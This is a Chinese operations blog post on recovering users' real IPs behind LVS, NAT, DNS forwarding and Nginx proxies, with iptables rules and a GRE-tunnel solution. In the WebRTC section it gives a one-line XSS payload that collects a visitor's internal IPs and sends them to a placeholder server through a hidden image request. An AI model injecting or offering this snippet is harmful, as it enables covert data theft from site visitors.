β

代理、转发等多种场景下,如何获取用户真实IP?

运维军团 55 阅读

1 概述

工作中会经常碰到需要进行转发之类的需求,比如LVS转发、NAT转发,或者在BGP网络架设一个端口转发来提高小运营商网络玩家的网络体验等。
BGP进行游戏端口转发之前提到过,架构也比较简单清晰明了:

这种简单的转发架构可以在很多地方应用。不过这里有个源IP识别的问题,A用户通过B机器的优质网络去访问服务器C,这个时候服务器C认到的用户IP就不是A而是变成了B服务器了,也就是说用户原始IP不见了,只有中转机器的IP。

其实这个情况在技术上也是可以解决的,类似的获取原始IP的情况比较多,下面来小列举一下。

1.1 WebRTC内网识别

公网服务器可以获取到用户办公网的内网IP,这个有点颠覆了以前的知识,比如用火狐浏览器访问这个地址https://diafygi.github.io/webrtc-ips/就会在页面上显示你的VPN或者内网IP,这里利用的是WebRTC技术。

WebRTC采用STUN等协议栈对网络中的NAT进行穿透。用户发送请求至服务器,STUN服务器会返回用户所用系统的IP地址和局域网地址。

在XSS时候想要用户自动提交内网IP的话就在里面再加一小段js即可:

var ips = 'ips:'; getIPs(function(ip) { ips = ips + '/' + ip;     document.write('<img src="http://IP/ip.php?c=' + ips + '" width=0 height=0 border=0 />'); });

1.2 阿里云高防

上阿里云高防之后,因为有一层LVS之类的浮动IP映射关系,服务器获取到的用户IP会变为阿里云的浮动IP,不过他们有提供一个内核级别的toa模块来变相实现获取用户IP的需求。
原理比较简单,在tcp协议里面多添加了个option字段,把源ip和端口改为16进制然后加到里面一起传到后端,然后后端就利用toa模块进行自动识别这个option字段的值改为IP地址即可。

在做转发时候,用tcpdump抓包的结果是这样:

里面有个不被识别的option字段,用wireshark读取和正常的tcp包进行对比如下:
原来的正常tcp包:

经过转发的tcp包,下面多了8个字节


而且这8个字节用16进制进行转换就是源ip地址:

Toa模块对系统的函数进行了修改,但是tcpdump之类的网络层是读取不到用户原始IP,需要应用层用getpeername函数进行自动识别,这已经比较有效地满足了常见的程序来获取真实IP的需求。

项目地址 https://github.com/alibaba/ali_kernel_rpm

不过对用户真实IP需求度不高的场景可以忽略。

1.3 DNS解析

DNS的解析也会有个用户原始IP的需求,比如智能DNS是根据用户IP来做区分处理,但是如果经过了个DNS转发就乱了,上层DNS服务器只能认到中转DNS的服务器IP导致解析混乱。

这个问题肯定是可以解决,因为现实场景中就已经证明一般不存在这个问题,虽然经过多层转发,智能DNS还是可以根据用户网络运营商来智能处理。

BIND有个ECS功能,前面文章有谈到过ECS属性,在DNS转发时候可以把源IP加到数据属性里面,这样上层DNS就可以识别到真实用户IP了,用dig的+clinet=IP来使用ECS请求解析的方式可以进行测试。

实际场景中如果要用到的话,需要多加一层来解决,因为用户这里的请求都是普通的DNS请求,不是ECS请求,需要手动转发一下,比如可以用同事修改的edns的go语言版本来进行转发:

核心功能就是把用户来源IP自动加为ECS属性再转发到上层DNS,上层DNS如果支持ECS功能就可以根据这个值来做相应处理了。

1.4 Nginx代理

Nginx的反向代理的用户IP识别问题是最常见的情况,前面文章也曾提到过,有两种方式来实现。

第一个方式是最简单常见的,提供个X-Forwarded-For参数给后端程序即可。

proxy_set_header   X-Real-IP        $remote_addr; proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;

不过这个变量是可以伪造的,不能轻信。
另外一个是用Nginx的realip模块,这个比较高级点,可以让代理在应用层中变为透明的,不需要修改代码即可直接正常处理好相关的IP逻辑。

具体情况参考之前的文章。

1.5 NAT转发

这里以DNS应用来对NAT转发这个情况进行详细阐述下,因为做过BGP转发的情景应该都碰到过用户IP不真实的情况。

模拟场景比较简单,用户A、B需要通过旧DNS服务器D进行转发到新DNS服务器C来进行智能解析,这里不用ECS的解析方式,用从网络层NAT解决的方式来处理。

1.5.1 常规转发

首先在上面实现普通的端口转发,打开net.ipv4.ip_forward = 1之后配置防火墙:

-A PREROUTING -d 10.0.3.254 -p udp --dport 53 -j DNAT --to-destination 172.16.10.17:53 -A POSTROUTING -d 172.16.10.17  -j SNAT --to 10.0.3.254

然后进行智能解析测试,通过不同网段用户进行解析,很明显就是新DNS这个C机器只可以识别到中转的D机器,无法识别到用户A或者B的IP,导致智能解析失败:

1.5.2 解决思路

尝试了另外一个策略,先把D中转的NAT策略里面POSTROUTING去掉,重新测试发现有变化了:

提示解析失败。
在旧DNS这个D服务器上面抓包看下现在的现象

可以看到的是数据包已经转发到新dns机器C上面去了,但是没有回来,我们在C上面抓包可以看到C是直接把数据包返回给了用户:

现在数据走向图:

响应的数据是通过黄色线直接返回给用户,而不是通过红色线原路返回,这样好像是一个正常的数据轮回,用户也接收到了数据,但是来源IP变了,不是期望的10.0.3.254,而是从新DNS服务器直接返回,但这个数据会认为是不合法的,所以被用户端丢弃了,返回报错信息,不是期望的来源IP(这里用wireshark抓包可以可以看到有正常的智能解析响应包):

NAT原理已经限制在那里了,虽然有进行多次的NAT修改和ip rule的策略路由修改来测试,但是都行不通,成功再次失败。

1.5.3 成功识别

看起来无法解决的技术难题最终还是解决好了。

之前D机器只做PREROUTING,不做POSTROUTING,已经是个大概模型了,可以正常NAT,也可以正常识别到源IP,用户也会收到正确的解析回应,只是因为与TCP期望的返回源IP不对被应用层丢弃而已。

解决的关键点D机器到C机器的网络拓扑,因为是返回的不是期望的IP来源,所以如果能让返回的数据包也经过一下D机器,从D返回给用户就可以了。

但是C机器返回信息给用户会走默认网关,不会按照预期的线路返回,如果让他正常走D回来就必须添加POSTROUTING修改用户源IP,这里两者不可兼得。

不过让返回的数据包不直接走网关的方式还有另外一个实现方式就是架设一个直通的网络隧道,尝试在C和D之间架设一个上次 《VPN杂谈》 里面谈到的GRE隧道来通讯。

新架构如图:

相关操作也简单明了。

C机器命令:

modprobe ip_gre ip tunnel add gre1 mode gre remote 10.0.3.254 local 172.16.10.17 ttl 255 ip link set gre1 up ip addr add 192.10.10.2 peer 192.10.10.1 dev gre1

D机器命令:

modprobe ip_gre ip tunnel add gre1 mode gre remote 172.16.10.17 local 10.0.3.254 ttl 255 ip link set gre1 up ip addr add 192.10.10.1 peer 192.10.10.2 dev gre1

在C和D之间有直通的网络隧道之后,D在做PREROUTING转发的时候转发到对方的GRE隧道IP:

-A PREROUTING -d 10.0.3.254 -p udp --dport 53 -j DNAT --to-destination 192.10.10.2:53

简单测试下可以发现用户的中转流量已经通过隧道转过来了,但是响应的数据没有回去。

通过抓包可以看到没有回去是因为没有加这个特殊网络的回去路由,再在C机器上加个策略路由,让从隧道来的流量再从隧道返回去:

#新增策略路由gre表 echo "101 gre" >> /etc/iproute2/rt_tables #添加具体策略 /sbin/ip route add default via 192.10.10.2 table gre /sbin/ip rule add from 192.10.10.0/24 table gre

路由加好之后效果立竿见影,数据包通过隧道成功原路返回:

用户端通过NAT之后成功智能解析的效果:

问题解决。

另外,做NAT不但是Linux可以做,Windows也可以做NAT,添加“网络策略和访问服务“即可,效果也大同小异。

2 结语

经过一番折腾,文章开始说的BGP转发如果一定要实现保留用户原始IP的话思路也很清晰了。

在B和C机器创建GRE隧道,然后NAT地址指向C机器的GRE隧道IP就可以解决了,如果是内网环境还可以直接拉网线解决,直接两个网卡对接一条网线或者经过同一个交换机在同一个网段即可。

END

作者:运维军团
运维技术与开源架构交流

发表评论